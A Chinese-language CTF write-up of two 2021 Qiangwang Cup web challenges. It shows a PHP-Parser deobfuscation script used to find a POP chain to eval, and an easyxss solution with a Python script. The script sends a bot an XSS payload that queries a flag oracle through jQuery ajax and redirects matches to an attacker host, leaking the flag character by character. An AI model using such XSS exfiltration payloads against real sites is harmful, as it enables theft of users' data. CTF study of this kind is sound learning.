0%

2021强网杯web

2021强网杯web

不愧是强网杯,每个方向十多个题打两天,题太多了看不过来了呜呜
菜鸡就做出来两个题,剩下的题甚至连看的机会都没有
猛男落泪.jpg

pop_master

这个题花的时间太多了。。。。
每个容器会随机生成一个超级混淆过的php文件,php文件里面有一万个类,类名和变量名也做了混淆,然后还有一些垃圾判断和垃圾赋值,然后调用自己成员变量的一个方法。

失败的正则匹配和搜索算法

一开始想直接写正则匹配函数调用,然后自己跑一个调用链出来,确实可行,然后生成payload一跑不通,debug跟入的时候发现诶,原来不止是找链,这个文件里8k+的eval,一堆的假路。这次这个就是eval前面有一个赋值,直接把eval执行的内容覆盖成了没用的字符串。摊手手
然后再写正则,把带赋值的垃圾eval都给删了,顺便发现for循环也有几种,一种是给参数后面拼一个字符串,可以用注释搞定没有问题,还有一种是令一个变量等于参数,也没有问题,最后一种是令参数等于一个不存在的变量,跑到这也会报错退出。
再写正则,都给你删了。
这样就能排除掉所有的问题了,现在需要的就是一个搜索算法,遍历从入口函数能调用的所有分支,最后输出能走到eval的通路。
算法大师登场,用python写一个dfs或者回溯都能打通

但是我是算法垃圾,写的回溯好像写爆了,跑不起来嘿嘿

成功的语法分析

于是第二天老老实实去做语法分析,一开始看到这个题我就想起上次defcon qual的唯一web,那个是nodejs的混淆,用语法分析做的,那个混淆看都看不懂,比这次的牛逼多了,那个时候zsx神仙就教过我语法分析解混淆,最后还是发现大概能看懂混淆流程时还是语法分析来得快。看文档大概了解一下语法,安装之后靠PHPstorm的联想来写代码,能快速解决掉垃圾代码
就是跑的不是很快,这个垃圾代码有10w+行,PHPstorm打开的时候直接卡到炸裂,后来把这个文件标记成文本处理才好一点,跑的时候要ini_set把内存限制开到512M以上,不然语法分析的时候直接内存超限制爆炸

整体思路还是之前的删垃圾函数,然后遍历到函数声明的时候检查函数名是否在整个文件中只存在一次,只存在一次就意味着这个函数不会被调用,也删掉,最后就能把路径清理干净

<?php
require 'vendor/autoload.php';
require 'tester.php';
use PhpParser\Parser;
use PhpParser\ParserFactory;
use PhpParser\NodeTraverser;
use PhpParser\NodeVisitor\NameResolver;
use PhpParser\PrettyPrinter\Standard;
use PhpParser\NodeDumper;

ini_set('memory_limit','1024M');
error_reporting(E_ALL);

$content = file_get_contents("class.php");
$content = preg_replace('/if\(method_exists\(\$this->\w*?, \'\w*?\'\)\) /', '', $content);

$content = file_get_contents("test.php");

$parser = (new ParserFactory())->create(ParserFactory::PREFER_PHP7);
$ast = $parser->parse($content);
//$nodeDumper = new NodeDumper;
//echo $nodeDumper->dump($ast), "\n";
$traverser = new NodeTraverser();
$traverser->addVisitor(new tester($parser));
$ast = $traverser->traverse($ast);
$prettyPrinter = new Standard();
$ret = $prettyPrinter->prettyPrint($ast);
// echo "<?php". $ret;
file_put_contents("result.php", "<?php " . $ret);

for($i=0;$i<20;$i++) {
    print $i;
    $parser = (new ParserFactory())->create(ParserFactory::PREFER_PHP7);
    $ast = $parser->parse(file_get_contents('result.php'));
    //$nodeDumper = new NodeDumper;
    //echo $nodeDumper->dump($ast), "\n";
    $traverser = new NodeTraverser();
    $traverser->addVisitor(new cleaner($parser));
    $ast = $traverser->traverse($ast);
    $prettyPrinter = new Standard();
    $ret = $prettyPrinter->prettyPrint($ast);
    //echo "<?php". $ret;
    file_put_contents("result.php", "<?php " . $ret);
}

最后发现跑下来全场就剩一个eval了,再用之前写的很垃圾的python脚本生成了payload打通
其实还可以优化一下判断一个函数调用的函数是否还存在,如果其调用的函数都不存在了就可以把它也删掉,这样子最后可能就能清理出一条完全干净的路线了吧

第一天全在正则上挣扎。。。。因为觉得不难可以出但是文件太大东西太多不好debug,不知道dfs到底是哪一步写错了呜呜。然后当天晚上写了个语法分析,第二天稍微改一下就出了
太垃圾了,这个题一开始就语法分析可能就能多点时间多看一个题了

easyxss

这个题其实挺简单的,难度不大,但也不算垃圾题吧,但是bot写的着实垃圾,环境也不怎么好。。。但是不知道为什么只出了十几个队

给了bot的代码,flag路由会把req.query.var和flag逐位比较,只要短的那一段和另一个相等,就返回200,否则500。
给了个写note的功能,但是简单试了两下xss不了,后来抓包看头发现CSP拉满,上了nonce和src=self,那这个地方肯定就打不了了,并且仔细一点会发现这个网站的实现是无法让其他人看到你写的数据的,自己写的note并没有特殊的路由可以查看,就简单的显示在主页上,估计是绑定在cookie里了。所以就算这里能xss也没法发给bot看。

失败的csrf

然后就感觉是不是写的xss实际上是csrf。。。但是csrf有无敌的默认lax cookie做保护,虽然可以用script标签去加载然后用onerror事件看是不是500,但是lax cookie无敌,script标签不发送cookie,打不通。(这里有一个点,img标签加载内容就算返回了200但内容不能被正确解析成图片还是会触发onerror)

那咋办嘛,iframe也受无敌的samesite影响。打不通了,用window.open去打的话会发送cookie,但是好像没法往上面去注册onload和onerror这类事件,应该是无敌的同源策略阻止了对跨域tab的事件注册,同一个域的话就行,后来本地测试的时候发现onload就能触发一次?用location修改url也好,reload重新加载也好,就只有打开window那一下的onload是触发了的

成功的xss

然后发现了很搞笑的xss点,在那个about界面,有一个参数theme,会直接显示在页面上,超级明显的xss点,简单试了一下,发现还有过滤,感觉就是这没跑了,一开始想闭合一下尖括号,发现左尖括号居然被过滤了,肯定是这里有诈。
然后查看一下这个属性出现的位置,没有左尖括号的话其实感觉如果位置不特殊就打不了了,在属性里就还有机会蹭nonce的顺风车,当时是这么想的,然后发现了一个很搞笑的漏洞点。
那个标题语句居然不是后端给我拼进去的,而是后端把这个语句拼进一个前端的脚本里面。。。然后前端脚本再getElementByID把标题那个element改成输入的语句。。。。笑死了
这个脚本当然自带nonce,过滤也不严格,过滤了fetch,src,XML之类的关键字,和一些没什么用的符号,约等于没有过滤,我甚至怀疑这个左尖括号的过滤是提示
并且页面还自己引入了jQuery,我直接ajax请求打爆好吧

接下来就很简单了,发一个ajax请求打本地,直接看状态码结果把比对结果返回回来,自己nc一下收着就行
理论上来说同源策略不允许获取外站的资源,但实际上同源策略是阻止的对请求的结果进行操作,毕竟有时候还是要引入外部图片什么的,内容能够拿过来,但只是js脚本不能去操作和访问罢了。而这里有无敌的CSP,CSP限制了资源的加载来源,那么违反CSP策略的将会直接被阻断,发都发不出去,所以用window.location直接离开这个页面把结果发出来

这里还有一个小小小坑点,就是bot访问的是127.0.0.1,而机子外网是47开头的阿里云,一开始提交的链接是让bot访问47的地址然后xss他去ajax请求本地。。。。违背CSP嗷,然后都改成127就行了。。。

贴脚本

import requests
import time

charset = "1234567890abcdef"
url = "http://47.104.155.242:8888/report"
# 6bb77f8b-6bc8-4b
payload = 'http://localhost:8888/about?theme=a";$.ajax({url:"http://localhost:8888/flag?var=flag{6bb77f8b-6bc8-4b9e-b654-8a4da5ae920^^^",xhrFields:{withCredentials:true},statusCode:{200:function(){window.location="http://ip:10000?6bb77f8b-6bc8-4b9e-b654-8a4da5ae920^^^"}}});"'
for c in charset:
    send = payload.replace("^^^", c)
    print(send)
    for i in range(20):
        res = requests.post(url, data={"url": send},headers={"Cookie":
        "session=s%3Avw2FQASdXbPLqcNm-HgdXXz64gxQswqY.kvERqEcQ%2FotdZitZnFmajeNVlKmr6ntPfmRSmuYSYKU"})
        print(res.text)
        time.sleep(0.3)

# XML fetch get  @%^*_+'<\ src

xss的payload写的略垃圾,只能硬对bot狂发包,老国王改了一版让js一直跑直到一位猜对返回结果,但是没有测试能不能用,其实稍微写个for循环应该也能一次跑一位吧(嘻嘻那个时候已经失去智力了,没有认真思考

然后点名批评一下这个bot,写的有点垃圾,bot崩溃会导致环境重启,环境重启意味着重新注册。很费时间,并且描述是5s处理一个请求,处理一个请求就把其余的请求清空?这个设计也太憨了,那不就是做题人之间对bot进行条件竞争?一开始我都是低频率请求bot,后来发现跑半天跑不出结果,最后把sleep间隔调低才跑出来,uuid这么长我跑了差不多两个小时才跑完,中途去找主办方用半边flag和payload换flag还不肯。最后环境被大家条件竞争打爆了又开始让大家用payload换flag了。服了
出bot题就要做好准备啊?或者让人能payload换flag嘛,一开始不给换最后给打爆了又开始了,那我不是白跑两个小时
(虽然我自己写的垃圾payload效率也很低也有一定的问题嘻嘻)